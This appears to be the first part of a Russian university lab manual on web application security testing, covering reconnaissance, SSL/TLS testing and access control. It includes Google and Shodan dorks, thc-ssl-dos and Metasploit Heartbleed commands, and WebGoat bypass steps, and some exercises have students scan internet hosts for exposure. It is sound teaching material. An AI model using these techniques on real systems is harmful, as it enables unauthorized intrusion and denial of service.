МИНИСТЕРСТВО ОБРАЗОВАНИЯ И НАУКИ РФ
РОССИЙСКОЙ ФЕДЕРАЦИИ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ
ТОМСКИЙ ГОСУДАРСТВЕННЫЙ УНИВЕРСИТЕТ

Д.Н. Колегов

ЛАБОРАТОРНЫЙ ПРАКТИКУМ ПО ОСНОВАМ АНАЛИЗА ЗАЩИЩЕННОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Учебное пособие

Томск
2014

УДК 004(075.8)
ББК 32.973-018.2я73
К60

Колегов Д.Н.
К60 Лабораторный практикум по основам анализа защищенности веб-приложений : учебное пособие. – Томск : Издательский Дом Томского государственного университета, 2014. – 59 с.

В учебном пособии приводятся теоретические сведения по основам анализа защищенности современных веб-приложений, рассматриваются методы поиска недостатков и уязвимостей, описываются методики выполнения лабораторных работ.

Для студентов вузов, обучающихся по специальностям в области информационной безопасности и по специальности 10.05.01 «Компьютерная безопасность», преподавателей и специалистов в области защиты информации.

УДК 004(075.8)
ББК 32.973-018.2я73

Рецензенты:

Г.П. Агибалов, доктор технических наук, профессор, заведующий кафедрой защиты информации и криптографии ТГУ;

В.В. Кочетков, ведущий специалист по анализу защищенности веб-приложений ЗАО «Позитив Текнолоджис»

ПРЕДИСЛОВИЕ

В настоящее время веб-приложения являются неотъемлемой частью информационно-телекоммуникационных и компьютерных технологий. Современные веб-приложения решают задачи сбора, хранения, обработки и анализа данных и широко используются в СМИ, электронной коммерции, АСУ ТП и т.д. При этом не только коммерческие компании создают и развивают собственные веб-приложения: государственный сектор также активно включается в процесс развития веб-сервисов, обеспечивающих предоставление онлайн-услуг. В связи с этим задача анализа защищенности веб-приложений является одной из самых актуальных в практической компьютерной безопасности.

Учебное пособие представляет собой набор лабораторных работ по основам анализа защищенности веб-приложений. Целью лабораторного практикума является развитие научно-образовательного обеспечения в области безопасности информационно-телекоммуникационных и компьютерных технологий. Основной задачей лабораторного практикума является получение обучающимися практических знаний и навыков поиска уязвимостей веб-приложений, ручного анализа результатов работы сканеров безопасности веб-приложений и оценки эффективности специализированных средств защиты.

Предполагается, что обучающиеся к моменту начала выполнения лабораторного практикума прослушали курс «Компьютерные сети» или аналогичный ему, а также имеют базовые представления об используемых в современных веб-приложениях технологиях (HTTP, SSL/TLS, HTML/CSS, JavaScript/AJAX/DOM).

При подготовке некоторых работ лабораторного практикума использовались материалы образовательной программы «Практическая безопасность» ЗАО «Позитив Текнолоджис».

Учебное пособие будет полезно студентам вузов, обучающихся по специальностям в области информационной безопасности, преподавателям и специалистам в области защиты информации.

ЛАБОРАТОРНЫЕ РАБОТЫ ПО АНАЛИЗУ ЗАЩИЩЕННОСТИ ВЕБ-ПРИЛОЖЕНИЙ

В соответствии с теорией компьютерной безопасности реализация угроз является возможной вследствие наличия уязвимостей в компьютерной системе. Одним из методов обеспечения безопасности компьютерных систем является анализ защищенности, понимаемый как процесс поиска (идентификации) недостатков и уязвимостей.

Лабораторный практикум состоит из двух частей. В первой части обучающийся должен самостоятельно выполнить все лабораторные работы. Он должен не просто механически выполнить каждый шаг той или иной работы, а детально исследовать все описанные в работе протоколы и технологии, добиваясь полного понимания выполняемых действий. В рамках второй части практикума обучающийся выполняет поиск уязвимостей в реальных веб-приложениях в рамках программ «Bug Bounty» или «Responsible disclosure». Обучающемуся необходимо найти и сообщить о 3-х любых уязвимостях в веб-приложениях, входящих в перечни [1, 2].

Лабораторный практикум включает следующие лабораторные работы по основам анализа защищенности веб-приложений:

1. Сбор информации о веб-приложении.
2. Тестирование защищенности транспортного уровня.
3. Тестирование защищенности механизма управления доступом.
4. Тестирование защищенности механизма управления сессиями.
5. Тестирование на устойчивость к атакам отказа в обслуживании.
6. Поиск уязвимостей к атакам CSRF.
7. Поиск уязвимостей к атакам XSS.
8. Поиск уязвимостей к атакам SQL-injection.
9. Поиск уязвимостей к атакам RCE.
10. Сканирование уязвимостей веб-приложений.

Описание каждой лабораторной работы состоит из следующих элементов: название, цель, краткие теоретические сведения, по-

становка задачи, последовательность действий обучаемого, вопросов и дополнительных заданий.

Для обеспечения условий выполнения лабораторных работ используется следующее программное обеспечение:

- среда виртуализации VMWare Player;
- дистрибутивы Backtrack Linux или Kali Linux;
- среда выявления и эксплуатации уязвимостей Metasploit Framework;
- среда тестирования защищенности веб-приложений Burp Suite;
- среда эксплуатации уязвимостей веб-приложений BeEF;
- небезопасные веб-приложения проекта Web Goat;
- образы небезопасных веб-приложений проекта PentesterLab;
- online и offline небезопасные веб-приложения (см. приложение);
- современные веб-браузеры (Internet Explorer, Google Chrome, Mozilla Firefox);
- программные средства инструментального анализа защищенности XSpider или MaxPatrol ЗАО Позитив Текнолоджис, а также специализированные сканеры уязвимостей веб-приложений (например, Acunetix, AppScan, Burp Suite Pro, W3AF).

Все необходимые для выполнения работ материалы (литература, информационные ресурсы, задачи повышенной сложности) приведены в приложениях.

Сбор информации о веб-приложении

Цель работы

Целью лабораторной работы является обучение методам и средствам сбора информации об анализируемом веб-приложении.

Краткие теоретические сведения

Одним из первых этапов анализа защищенности любой компьютерной системы является сбор информации. В зависимости от используемой методологии анализа защищенности веб-приложения могут применяться различные методы и средства сбора информации. Стоит отметить, что сбор информации, как прави-

ло, не характерен для методологии инструментального анализа защищенности (сканирования), а характерен для методологии тестирования на возможность проникновения.

Методы сбора информации делятся на активные и пассивные. Активные методы требуют непосредственного взаимодействия с исследуемым приложением путем отправки ему запросов и анализа соответствующих ответов, а пассивные методы используют информацию, отправляемую сервером веб-приложения его клиентам (например, HTTP-заголовки X-Frame-Options, Strict-Transport-Security и т.д.) без отправки запросов. При анализе веб-приложений, как правило, используются только активные методы.

Активные методы делятся на методы с подключением к приложению (например, идентификация веб-сервера с помощью сканера Httprint) и методы без подключения (например, сбор информации о приложении поисковыми роботами, сканерами Интернет, и т.д.).

В результате проведения сбора информации о веб-приложении могут быть получены:

- имена и IP-адреса сетевых узлов, на которых размещены веб-приложение и его компоненты;
- логины и пароли технологических учетных записей;
- комментарии разработчиков;
- данные о системном и прикладном ПО, применяемых средствах защиты и конфигурации веб-приложения;
- адреса электронной почты разработчиков приложения;
- исходный код серверной части веб-приложения;
- конфиденциальные файлы.

Программными средствами получения необходимой информации являются:

- поисковые системы (например, Google, Shodan, Bing);
- специализированные сканеры уязвимостей Интернет (например, http://un1c0rn.net/);
- инструментальные средства анализа защищенности сетей общего назначения (Nmap, Xprobe2, XSpider);
- инструментальные средства анализа защищенности сетей веб-приложений (AppScan, Acunetix, Burp Suite, ZAP, W3AF и т.д.).

Постановка задачи

Выполнить сбор информации об анализируемом веб-приложении `www.test.app.com`.

Последовательность действий

Будем рассматривать сбор информации на примере веб-приложения с условным именем `www.test.app.com`.

Шаг 1. В адресной строке браузера перейти по адресу `www.test.app.com/robots.txt`. Проанализировать содержимое файла. Сделать выводы о наличии «скрытых» директорий.

Шаг 2. В адресной строке браузера перейти по адресу `http://www.test.app.com/crossdomain.xml` и, затем, по адресу `http://www.test.app.com/clientaccesspolicy.xml`. Проанализировать содержимое файлов. Сделать выводы о корректности конфигурации политики междоменного взаимодействия RIA [3].

Шаг 3. Перейти по адресу `http://www.google.com`. Задать поисковые запросы, определяемые анализируемым приложением, например:

- `site:www.test.app.com filetype:docx confidential`
- `site:www.test.app.com filetype:doc secret`
- `site:www.test.app.com inurl:admin`
- `site:www.test.app.com filetype:sql`
- `site:www.test.app.com intext: "Access denied"`

Проанализировать логику запросов и полученные данные. Построить свои запросы, используя примеры из базы запросов [4].

Шаг 4. Перейти по адресу `http://www.shodanhq.com`. Задать следующий поисковый запрос:

- `hostname:www.test.app.com`

Построить свои запросы для приложения `www.test.app.com`.

Шаг 5. Данный тест выполняется только для приложений, размещенных в лабораторной сети. С помощью сетевых сканеров Nmap и Xprobe выполнить идентификацию ОС веб-сервера:

```
# nmap -O www.test.app.com -vv
# xprobe2 www.test.app.com
```

Шаг 6. Подключиться к веб-серверу, используя утилиту Netcat:

```
# nc www.test.app.com 80
```

Отправить следующий GET запрос

```
GET / HTTP/1.1
Host: www.test.app.com
\r\n
```

По заголовкам `Server` и `X-Powered-By` определить программное обеспечение, реализующее веб-сервер и фрэймворк веб-приложения.

В браузере установить расширение Wappalyzer, перейти по адресу веб-приложения и проанализировать информацию о компонентах веб-приложения полученное через Wappalyzer.

Шаг 7. С помощью сканера веб-серверов Httprint (дистрибутив Backtrack) или Httprecon (ОС Windows) выполнить идентификацию веб-сервера:

```
# cd /pentest/enumeration/web/httprint/linux
# ./httprint –h www.test.app.com –s signatures.txt
```

С помощью сканера Wafw00f проверить наличие у веб-приложения подсистемы WAF:

```
# cd /pentest/web/waffit
# python ./wafw00f.py http://www.test.app.com
# python ./wafw00f.py https://www.test.app.com
```

Шаг 8. Выполнить тесты по идентификации поддерживаемых веб-сервером HTTP-методов. Для этого необходимо отправить с помощью Burp Suite или Netcat запрос следующего вида:

```
OPTIONS / HTTP/1.1
Host: www.test.app.com
\r\n
```

Проверить, поддерживает ли сервер обработку запросов с произвольными методами:

```
DOGS / HTTP/1.1
Host: www.test.app.com
\r\n
```

Если веб-сервер поддерживает метод TRACE, то это может привести к уязвимости к атаке Cross-Site Tracing (XST). Для проверки поддержки веб-сервером методы TRACE отправить запрос

```
TRACE / HTTP/1.1
Host: www.test.app.com
\r\n
```

Веб-сервер поддерживает метод TRACE и потенциально уязвим к атаке XST, если получен ответа вида

```
HTTP/1.1 200 OK
Connection: close
Content-Length: 39
TRACE / HTTP/1.1
Host: www.test.app.com
```

Вопросы и задания

1. Найти административные интерфейсы коммуникационного и сетевого оборудования (видеокамеры, коммутаторы ЛВС, домашние Wi-Fi маршрутизаторы, и т.д.), подключенные к сети Интернет.

2. Известно, что адрес веб-интерфейса системы VMWare Horizon View HTML Access содержит строку `portal/webclient/views/mainUI.html`. Найти такие системы, доступные из сети Интернет.

3. Оценить количество коммутаторов Cisco Catalyst с административным веб-интерфейсом, подключенным к сети Интернет.

Тестирование защищенности транспортного уровня

Цель работы

Целью лабораторной работы является обучение методам и средствам тестирования защищенности служб SSL/TLS.

Краткие теоретические сведения

Защита транспортного уровня веб-приложения основана на использовании протоколов семейства SSL/TLS, имеющих значительное количество механизмов, функций и параметров защиты, реализация и конфигурация которых определяет в конечном итоге уровень защищенности веб-приложения. Несмотря на то, что в настоящее время известно много автоматизированных средств тестирования защищенности SSL/TLS (например, сервис www.ssllabs.com, программы SSLscan и SSLyze), детали их реализации, как правило, неизвестны или требуют дополнительного исследования, что иногда не позволяет полностью доверять результатам их работы. Одним из низкоуровневых и надежных средств тестирования защищенности служб SSL/TLS является клиент OpenSSL.

Постановка задачи

Выполнить тестирование защищенности служб SSL/TLS веб-сервера www.test.app.com.

Последовательность действий

Шаг 1. Выполнить базовые проверки SSL/TLS. Установить последнюю версию пакета OpenSSL. Запустить сетевой анализатор Wireshark. Выполнить тестовое подключение к серверу:

```
# openssl s_client –connect www.test.app.com:443
```

Просмотреть трассировку установки соединения в Wireshark. Определить следующие параметры: версию протокола SSL/TLS, используемый криптографический набор (cipher suite), длину открытого ключа сервера, включение механизма сжатия данных. От-

править следующий HTTP-запрос и убедиться в получении ответа от сервера:

```
GET / HTTP/1.1
Host: www.test.app.com
```

Проверить поддержку сервером механизма «Sever Name Indication» (SNI):

```
# openssl s_client –connect www.test.app.com:443
–servername www.test.app.com
```

Просмотреть трассировку установки соединения в Wireshark в этом случае. Поддержка расширения SNI идентифицируется путем установки соединения с опцией SNI и без нее. Если в ответ получены различные сертификаты, то SNI поддерживается сервером. Если указанное в опции SNI имя неизвестно, то клиент выводит сообщение об ошибке или предупреждение.

Шаг 2. Идентифицировать все поддерживаемые протоколы SSL/TLS, выполнив последовательно команды:

```
# openssl s_client –connect www.test.app.com:443
–ssl2
# openssl s_client –connect www.test.app.com:443
–ssl3
# openssl s_client –connect www.test.app.com:443
–tls1
# openssl s_client –connect www.test.app.com:443
–tls1_1
# openssl s_client –connect www.test.app.com:443
–tls1_2
```

Просмотреть трассировку сканирования. Найти отличия в структуре сетевых сообщений для разных версий протокола.

Шаг 3. Идентифицировать криптографические наборы (cipher suite), поддерживаемые сервером. Для получения всех поддерживаемых клиентом криптографических наборов выполнить команду

```
# openssl ciphers -v
```

Для проверки поддержки, например, набора AES256-SHA выполнить следующую команду:

```
# openssl s_client -connect www.test.app.com:443
-cipher AES256-SHA
```

Проверить поддержку криптографического набора, содержащего шифр RC4:

```
# openssl s_client -connect www.test.app.com:443
-cipher RC4-SHA
```

Проверить, что при установке защищенного соединения криптографический набор выбирается в порядке, определяемом настройками сервера, а не клиента. Для этого из списка поддерживаемых сервером криптографических наборов выбрать три произвольных и выполнить команды, например:

```
# openssl s_client -connect www.test.app.com:443
-cipher 'AES256-SHA256,AES128-SHA,DES-CBC-SHA'
# openssl s_client -connect www.test.app.com:443
-cipher 'AES128-SHA256,AES256-SHA,DES-CBC-SHA'
# openssl s_client -connect www.test.app.com:443
-cipher 'DES-CBC-SHA,AES128-SHA,AES256-SHA256'
```

При корректной настройке во всех случаях должен быть выбран набор AES256-SHA256.

Проверить поддержку сервером Forward Secrecy на основе DHE и ECDHE:

```
# openssl s_client -connect www.test.app.com:443
-cipher 'ECDHE—RSA-AES256-SHA384'
# openssl s_client -connect www.test.app.com:443
-cipher 'DHE—RSA-AES256-SHA256'
```

Шаг 4. Для определения поддержки сервером механизма «Session Resumption» выполнить команду

```
# openssl s_client –connect www.test.app.com:443
–reconnect
```

или ее менее информативный вариант

```
# openssl s_client –connect www.test.app.com:443
–reconnect |  grep 'New\|Reuse'
```

Шаг 5. Для идентификации механизма «Secure Renegotiation» выполнить команду

```
# openssl s_client –connect www.test.app.com:443 |
grep 'Secure Renegotiation'
```

Просмотреть трассировку сканирования и убедиться в поддержке данного механизма. Поддержка механизма «Secure Renegotiation» сервером определяется по наличию расширения «renegotiation_info» в сообщение ServerHello или путем просмотра вывода команды

```
# openssl s_client –connect www.test.app.com:443
–tlsextdebug
```

Для идентификации поддержки сервером механизма «Client-Initiated Renegotiation» необходимо подключиться к веб-серверу по SSL/TLS с помощью клиента OpenSSL

```
# openssl s_client –connect www.test.app.com:443
```

и затем отправить запрос:

```
HEAD / HTTP/1.1
Host: www.test.app.com
R
```

или

```
GET / HTTP/1.1
Host: www.test.app.com
R
```

Если сервер не поддерживает «Client-Initiated Renegotiation», то будет выведено сообщение об ошибке. Если сервер поддерживает данный механизм, то сервер отправит клиенту снова свои сертификаты.

Поддержка механизма «Client-Initiated Renegotiation» может быть использована для реализации в отношении веб-сервера DoS-атаки, так как при каждом установлении соединения сервер вынужден тратить существенно больше вычислительных ресурсов чем клиент.

Чтобы проверить возможность реализации DoS-атаки, можно проверить, сколько раз клиент может инициировать пересогласование (renegotiation) криптографических параметров:

```
GET / HTTP/1.1
Host: www.test.app.com
R
R
R
R
R
```

Другой способ тестирования – использование эксплоита thc-ssl-dos [6], например:

```
# thc-ssl-dos --accept 192.168.1.1 443
```

Шаг 6. Проверить наличие уязвимости к атаке «BEAST». Данная атака использует недостатки блочных шифров, работающих в режиме CBC, и существует во всех версиях протоколов SSL/TLS до версии TLS 1.1. Для того чтобы защититься от атаки BEAST, необходимо использовать шифр RC4 или протокол TLS версии 1.1 и старше. С другой стороны, шифр RC4 в настоящее время считается небезопасным, поэтому его использование нежелательно. Для

защиты от атаки BEAST на практике предлагается два подхода: первый из них носит название «Строгое ослабление» (Strict mitigation) и предполагает использование протокола TLS версии 1.1 и старше со всеми клиентами, которые его поддерживают; второй подход называется «Приоритезация RC4» (RC4 prioritization) и заключается в повышении приоритета шифра RC4 для клиентов, поддерживающих только протоколы SSL 2.0, SSL 3.0 и TLS 1.0. Таким образом, необходимо убедиться, что клиенты SSL 3.0 или TLS 1.0, не поддерживающие шифр RC4, не смогут установить соединение:

```
# openssl s_client –connect www.test.app.com:443
–no_ssl2 –no_tls1_1 –no_tls1_2 –cipher 'ALL:!RC4'
```

или что клиенты, поддерживающие шифр RC4, установят соединение, используя его

```
# openssl s_client –connect www.test.app.com:443
–no_ssl2 –no_tls1_1 –no_tls1_2 –cipher 'ALL:+RC4'
```

Шаг 7. Проверить наличие уязвимости к атаке «Heartbleed» по косвенным признакам, а также путем использования активных тестов в Metasploit Framework.

Просмотреть трассировку в Wireshark и определить поддержку расширения «Heartbeat» после выполнения команды

```
# openssl s_client –connect www.test.app.com:443
–tlsextdebug
```

Проверить поддержку сервером протокола «Heartbeat» через OpenSSL путем выполнения команды

```
# openssl s_client –connect www.test.app.com:443
–tlsextdebug
```

Если сервер не возвращает в сообщениях данные о расширении «Heartbeat», то он не уязвим к данной атаке.

Для того чтобы проверить, отвечает ли сервер на запросы Heartbeat, выполнить команды

```
# openssl s_client -connect www.test.app.com:443 -msg
```

Для проверки уязвимости клиента (например, веб-браузера) к Heartbleed атаке можно установить соединение с любым сервером и просмотреть трассировку соединения.

Рассмотрим вариант активного тестирования (выполнение атаки с использованием уязвимости) в среде Metasploit Framework.

Для тестирования клиента выполнить следующие команды:

```
# msfconsole
> use auxiliary/server/openssl_heartbeat_client_memory
> show options
> run
```

В веб-браузере открыть ресурс Metasploit, отвечающий за тестирование на наличие уязвимости к атаке Heartbleed и просмотреть информацию о результате тестирования клиента.

Для тестирования сервера в среде Metasploit Framework выполнить следующие команды:

```
# msfconsole
> use auxiliary/scanner/ssl/openssl_heartbleed
> show options
> set RHOSTS www.test.app.com
> set RPORT 443
> set VERBOSE true
> run
```

С помощью проекта `http://un1c0rn.net` найти веб-серверы, уязвимые к атаке Heartbleed (в крайнем случае, можно использовать тестовые сервера, уязвимые атаке Heartbleed, например heartbleed.csr-group.com). Подтвердить уязвимость к атаке в среде Metasploit Framework или с помощью сервиса `http://ssllabs.com`.

Шаг 8. Проверить наличие уязвимости к атаке «CRIME» по косвенным признакам. Данная атака основана на сжатии данных на уровне SSL/TLS. Для проверки достаточно выполнить команду

```
# openssl s_client –connect www.test.app.com:443
–reconnect | grep 'Compression'
```

Шаг 9. Проверить наличие HTTP-заголовков Strict-Transport-Security, устанавливаемых на стороне веб-сервера. Отправить следующий HTTP-запрос к веб-приложению в программе Burp Suite

```
GET / HTTP/1.1
Host: www.test.app.com
\r\n
```

HTTP-ответ должен содержать заголовок следующего вида:

```
Strict-Transport-Security:          max-age=31536000;
includeSubDomains
```

Проверить наличие страниц со смешанным контентом (mixed-content pages) – страниц, доступных по HTTPS, но содержащих ресурсы (картинки, скрипты JavaScript, файлы CSS, медиа-контент), доступные по протоколу HTTP. Для этого следует сконфигурировать браузер для работы с тестируемым веб-приложением через веб-прокси Burp Suite, в процессе работы с веб-приложением необходимо во вкладке HTTP History просмотреть историю и удостовериться, что все запросы к серверу отправляются только по протоколу HTTPS.

Проверить, что cookie, содержащие чувствительную информацию, имеют атрибут secure, например:

```
Set-Cookie: SessionId=371d2sm6cbn3d31a;path=/;secure
```

Проверить, что чувствительный контент не кэшируется на стороне клиента. Запрещение кэширования определяется наличием

HTTP-заголовков Pragma, Cache-Control и Expires со следующими рекомендованными значениями:

```
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate,
max-age=0
Expires: 0
```

Проверить, что приложение защищено от атаки «SSL Stripping». Для этого необходимо убедиться, что веб-приложение доступно только по протоколу HTTPS и не доступно опционально по протоколу HTTP или в веб-приложении используется заголовок Strict-Transport-Security (при условии того, что пользователь гарантированно попадет на сайт по протоколу HTTPS).

Шаг 10. Выполнить тестирование SSL/TLS с использованием сервиса ssllabs.com.

В веб-браузере перейти по адресу `https://www.ssllabs.com/ssltest/index.html`, ввести доменное имя сервера, выполнить сканирование, просмотреть и проанализировать полученные результаты.

Сравнить результаты сканирования сервера с результатами, полученными при его ручном тестировании.

Выполнить тестирование нескольких веб-клиентов (например, веб-браузеров Internet Explorer, Mozilla Firefox, Google Chrome, WhiteHat Security Aviator, Яндекс Браузер, Apple Safari, Opera и т.п.). Для этого в каждом тестируемом браузере открыть страницу `https://www.ssllabs.com/ssltest/index.html`, выполнить сканирование, просмотреть и проанализировать результаты.

Вопросы и задания

1. Проверить произвольный веб-сервер, поддерживающий SSL/TLS, на соответствие рекомендациям Qualys SSL Labs [7].

2. Написать скрипт, выполняющий идентификацию всех поддерживаемых сервером криптографических наборов SSL/TLS.

3. Просканировать веб-серверы 10 известных компаний, банков, операторов связи с помощью сервиса ssllabs.com. Проанализировать результаты.

Тестирование защищенности механизма управления доступом

Цель работы

Целью лабораторной работы является обучение методам и средствам тестирования защищенности механизма управления доступом в веб-приложениях.

Краткие теоретические сведения

Одним из основных механизмов защиты современных веб-приложений является механизм управления доступом. Обычно выделяют следующие этапы управления доступом [8]:

- идентификация – установление идентификационных данных;
- аутентификация – подтвержденное установление идентификационных данных;
- авторизация – назначение прав идентификационным данным.

При входе в веб-приложение (sign in, log in) пользователь идентифицируется (сообщает свой идентификатор) и аутентифицируется (доказывает, что он именно тот пользователь, чей идентификатор был сообщен).

Большинство веб-приложений используют аутентификацию по паролю. В веб-приложениях с высоким уровнем защищенности (например, в Интернет-банках) также применяются протоколы двухфакторной аутентификации. Очевидным недостатком аутентификации по паролю является возможность использования паролей с плохими статистическими характеристиками. Хранение пароля или его передача по каналам связи в открытом или даже зашифрованном виде потенциально несет угрозу раскрытия пароля.

Тем не менее, современные защищенные веб-приложения в большинстве случаев используют передачу пароля в зашифрованном виде с помощью протоколов семейства SSL/TLS, а хранение пароля в хешированном виде. При этом для хранения паролей пользователей рекомендуется использовать не криптографические хэш-функции общего назначения (например, SHA или MD5), а специализированные функции PBKDF2, bcrypt, scrypt и т.п. Также для хранения паролей необходимо использовать «соль», предна-

значенную для затруднения проведения атак по словарям и радужным таблицам.

Авторизация в веб-приложениях может быть определена как процесс проверки того, разрешен или запрещен запрос на получения доступа пользователя к ресурсу в соответствии с заданной политикой безопасности. Как правило, в веб-приложениях реализуется ролевая (RBAC) или атрибутная (ABAC) политика логического управления доступом.

Одним из методов тестирования возможности получения привилегий другого пользователя является дифференциальный анализ. Его идея заключается в идентификации всех возможных запросов и соответствующих им URL, которые может выполнить данный пользователь. Затем все полученные запросы выполняются от имени другого пользователя веб-приложения.

Механизм авторизации рекомендуется реализовывать на уровнях представления, бизнес-логики и данных веб-приложения. Уровень представления – не отображает функционал (например, формы, фреймы, ссылки, кнопки), на который пользователь не имеет прав доступа. Уровень бизнес-логики обеспечивает выполнение проверки наличия соответствующих прав доступа до выполнения запроса в веб-приложении, т.е. никакие функции не могут быть выполнены до авторизации (например, если пользователь отправляет запрос на удаление учетной записи, то веб-приложение должно убедиться, что пользователь имеет право на удаление учетной записи и не выполнять никаких функций до того, как это будет установлено). Уровень данных обеспечивает проверку наличия прав доступа пользователя к данным, а не только к функционалу обработки данных (например, пользователь, используя URL вида /delete?record=1, должен удалять только те записи в базе данных, на которые он имеет право доступа DELETE).

Постановка задачи

Выполнить тестирование защищенности механизма управления доступом исследуемого веб-приложения.

Последовательность действий

Шаг 1. Настроить работу браузера через штатный прокси-сервер Burp Suite. В веб-браузере открыть главную страницу тестируемого веб-приложения `www.test.app.com`.

Шаг 2. Зарегистрироваться в веб-приложении. Получить идентификатор учетной записи и пароль доступа к веб-приложению. Проанализировать предсказуемость идентификаторов пользователей и, если это возможно, алгоритм назначения идентификаторов. Проанализировать реализованную в веб-приложении парольную политику. Оценить доступную сложность выбора паролей пользователями. Опционально выполнить атаку полного перебора паролей.

Шаг 3. Перейти по ссылке для аутентификации в приложении. При этом необходимо убедиться, что форма аутентификации доступна только по протоколу HTTPS. Убедиться, что вводимые пользователем логин и пароль отправляются в зашифрованном виде по протоколу HTTPS. Убедиться, что логин и пароль не отправляются с помощью HTTP-метода GET.

Шаг 4. Проверить, что в веб-приложении изменены стандартные пароли для встроенных учетных записей. Проверить, что новые учетные записи создаются с различными паролями.

Шаг 5. Проверить возможность идентификации пользователей веб-приложения через формы регистрации, входа и восстановления пароля.

Для этого следует ввести несуществующее имя пользователя (например, qawsedrf1234) и произвольный пароль, а затем имя существующего пользователя и произвольный, но неправильный пароль. В обоих случаях должно быть выведено одно и то же сообщение об ошибке вида «Ошибка в имени пользователя или неверный пароль». Также оба HTTP-ответа должны совпадать с точностью до изменяемых параметров и быть получены за одно и то же время. В противном случае веб-приложение имеет скрытый канал (оракул), позволяющий идентифицировать его пользователей.

Шаг 6. Проверить возможность реализации атаки подбора пароля пользователя. Ввести имя пользователя. Ввести несколько раз неправильный пароль (5 – 10 раз). После этого ввести правильный

пароль для этой учетной записи. Ввести одинаковый пароль для разных учетных записей (для 5 – 10).

Проверить возможность доступа к веб-приложению. Блокирование учетных записей пользователя после нескольких неудачных попыток входа создает условие для реализации DoS-атаки и не должно использоваться в механизмах защиты от атак подбора паролей. Вместо этого необходимо использовать возрастающие временные задержки или средства анти-автоматизации (например, CAPTCHA).

Шаг 7. Проверить, что чувствительный контент (например, страницы с введенными номерами кредитных карт, счетов, адресов) не доступен через механизм History веб-браузера, а также не кэшируется им. Войти под учетной записью пользователя, перейти на страницу с чувствительным контентом. Ввести новые данные. Выйти из приложения. Нажать кнопку «Back». Пользователь не должен иметь возможность выполнять новые запросы (при корректной реализации управления сессиями). Если при этом пользователю доступны ранее запрашиваемые страницы, то это означает, что серверная часть веб-приложения не запретила веб-браузеру сохранять данные в истории.

Запрещение кэширования определяется наличием HTTP-заголовков Pragma, Cache-Control и Expires со следующими рекомендованными значениями:

```
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate,
max-age=0
Expires: -1
```

Шаг 8. Запустить веб-приложение Web Goat. Ввести логин: «guest», пароль: «guest».

Перейти по ссылке «`Access Control Flaws → Bypass a Path Based Access Control`». Изучить условия задачи. Используя FireBug (или любой аналогичный инструмент), изменить значение `AccessControlMatrix.html` на `../../main.jsp`. Нажать кнопку «`View File`».

Перейти по ссылке «LAB: Role Based Access Control → Stage 1». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Можно видеть, что от пользователя скрыта кнопка «DeleteProfile», так как он не должен иметь возможности удалять учетные записи. Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент

```
<input type="submit" value="ViewProfile" name="action">
```

на элемент

```
<input type="submit" value="DeleteProfile" name="action">
```

Нажать кнопку «DeleteProfile». Просмотреть отправленный запрос в Burp Suite. Профиль пользователя будет удален.

Опционально решить задачу «LAB: Role Based Access Control → Stage 2».

Перейти по ссылке «LAB: Role Based Access Control → Stage 3». Изучить условия задачи. Войти под пользователем Tom (пароль: Tom). Нажать кнопку «View Profile». В Burp Suite просмотреть запрос. Можно видеть, что пользователю доступны данные своего профиля. Используя FireBug (или любой аналогичный инструмент), изменить HTML-разметку, заменив элемент

```
<option value="105" selected="">Tom Cat (employee)</option>
```

на элемент

```
<option value="103" selected="">Tom Cat (employee)</option>
```

Нажать кнопку «ViewProfile». Просмотреть отправленный запрос в Burp Suite. Будут выведены данные профиля пользователя Curly Stooge.

Опционально решить задачу «LAB: Role Based Access Control → Stage 4».

Перейти по ссылке «Remote admin access». Изучить условия задачи. Просмотреть подменю «Admin Functions». Перейти по ссылке WebGoat/attack?Screen=86&menu=200&admin=true. Просмотреть подменю «Admin Functions».

Вопросы и задания

1. Изучить рекомендации к защищенной реализации механизма хранения паролей. Исследовать механизм восстановления паролей выбранного веб-приложения.
2. Исследовать минимально допустимую длину и сложность паролей в произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.
3. Исследовать наличие оракулов в механизмах аутентификации произвольных пяти веб-приложениях из рейтинга ALEXA TOP 100.

Тестирование защищенности механизма управления сессиями

Цель работы

Целью лабораторной работы является обучение современным методам и средствам тестирования защищенности механизма управления сессиями в веб-приложениях.

Краткие теоретические сведения

Сессия веб-приложения – это последовательность HTTP-запросов и соответствующих им HTTP-ответов, ассоциированных с конкретным пользователем. Протокол HTTP не имеет встроенных механизмов управления сессиями (stateless protocol) и поэтому механизм управления сессиями реализуется логикой веб-приложения. Как минимум, сессия создается при успешной аутен-

тификации пользователя в веб-приложении. При этом генерируется уникальный идентификатор (токен) сессии, ассоциированный с этим пользователем. Данный идентификатор передается в каждом HTTP-запросе и является аналогом пароля пользователя, так как любой HTTP-запрос, содержащий такой идентификатор, будет воспринят веб-приложением как запрос от легитимного пользователя.

Как правило, идентификатор сессии передается в заголовках Cookie средствами веб-браузера, реже в специальных HTTP-заголовках (например, X-Auth-Token) средствами AJAX. Передача идентификатора сессии в URL является наименее защищенной и в настоящее время, как правило, не применяется.

Приведем основные требования безопасности к реализации механизма управления сессиями [8]:

- имя сессионного идентификатора не должно позволять легко идентифицировать веб-приложение (например, PHPSESSID, ASP.NET_SessionId, JSESSIONID);
- длина сессионного идентификатора должна быть не менее 128 бит;
- энтропия сессионного идентификатора должна быть не менее 64 бит;
- передача сессионного идентификатора должна осуществляться в заголовках Cookie с флагами HttpOnly, Secure и выставленным атрибутом Domain;
- после изменения состояния пользователя (вход в веб-приложение, смена пароля, смена роли, истечение таймаута неактивности и т.д.), критичного с точки зрения политики безопасности, должен создаваться новый идентификатор сессии, а старый – аннулироваться;
- после изменения протокола HTTP на HTTPS должен создаваться новый идентификатор сессии, а старый – аннулироваться;
- аннулирование сессионного идентификатора должно быть реализовано как на клиенте, так и на сервере;
- должны быть реализованы таймаут неактивности, абсолютный таймаут и таймаут обновления сессионного идентификатора.

Выделяют следующие основные атаки на механизмы управления сессиями:

- фиксация сессии;
- подбор идентификатора сессии;
- перехват идентификатора сессии;
- кража идентификатора сессии.

Получение идентификатора сессии пользователя приводит, как правило, к получению злоумышленником всех прав пользователя.

Постановка задачи

Выполнить тестирование защищенности механизма управления сессиями исследуемого веб-приложения.

Последовательность действий

